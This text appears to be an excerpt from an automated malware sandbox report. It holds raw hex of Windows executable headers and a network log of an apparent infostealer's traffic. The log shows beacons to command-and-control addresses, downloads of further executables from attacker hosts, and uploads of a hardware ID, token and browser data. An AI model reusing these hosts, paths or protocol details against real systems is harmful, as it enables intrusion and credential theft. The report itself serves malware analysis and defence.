00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Nov 2024 06:16:33 GMTContent-Type: application/octet-streamContent-Length: 2866688Last-Modified: Sat, 02 Nov 2024 05:02:08 GMTConnection: keep-aliveETag: "6725b250-2bbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 45 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 72 77 74 73 66 73 73 00 60 2b 00 00 a0 00 00 00 5e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 73 65 76 71 6a 64 00 20 00 00 00 00 2c 00 00 04 00 00 00 98 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 9c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Nov 2024 06:16:40 GMTContent-Type: application/octet-streamContent-Length: 2866688Last-Modified: Sat, 02 Nov 2024 05:02:10 GMTConnection: keep-aliveETag: "6725b252-2bbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 45 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 72 77 74 73 66 73 73 00 60 2b 00 00 a0 00 00 00 5e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 73 65 76 71 6a 64 00 20 00 00 00 00 2c 00 00 04 00 00 00 98 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 9c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Nov 2024 06:16:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Nov 2024 06:16:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Nov 2024 06:17:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Fwkdsz.exe HTTP/1.1Host: wasni.care
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Luvzkkz.mp4 HTTP/1.1Host: wasni.careConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 33 33 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1003334001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003343001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 33 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003344001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJJEBFCGDAKFIEBAAFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 39 41 38 37 30 36 32 39 46 31 31 34 34 38 34 35 36 39 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 2d 2d 0d 0a Data Ascii: ------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="hwid"A89A870629F11448456937------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="build"tale------KKJJEBFCGDAKFIEBAAFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="message"browsers------KFIJJJEBGCFBGDHIDGCA--
